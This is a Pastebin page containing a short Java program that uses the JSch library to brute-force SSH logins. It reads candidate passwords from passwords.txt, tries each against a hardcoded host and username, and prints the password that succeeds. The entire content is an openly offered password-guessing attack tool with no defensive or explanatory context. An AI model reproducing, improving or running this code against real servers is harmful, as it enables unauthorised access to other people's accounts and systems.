Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import com.jcraft.jsch.JSch;
- import com.jcraft.jsch.Session;
- import java.io.*;
- import java.util.Scanner;
- /**
- * SSH bruteforce root - password guessing.
- * @author Aviv
- *
- */
- public class SSH
- {
- public static void main(String args[])
- {
- String user = "john"; // Set username
- String password = "mypassword"; // set password
- String host = "192.168.100.23"; // set host
- int port=22; // set port
- try
- {
- // Openning session
- JSch jsch = new JSch();
- Session session = jsch.getSession(user, host, port);
- session.setPassword(password); // initilaize password
- System.out.println("Checking for passwords begin..");
- Scanner input = new Scanner(System.in);
- File file = new File("passwords.txt"); // password file
- input = new Scanner(file);
- while (input.hasNextLine()) { // reading from password file
- String line = input.nextLine();
- try {
- session.setPassword(line); // checking each password
- session.connect(1000); // trying to connect...
- System.out.println("Connected, password: "+line); // if connected
- break;
- }
- catch (Exception e1) {
- System.out.println(line);
- continue;
- }
- }
- input.close();
- }
- catch (Exception e1) {
- System.out.println("Uncorrect password");
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement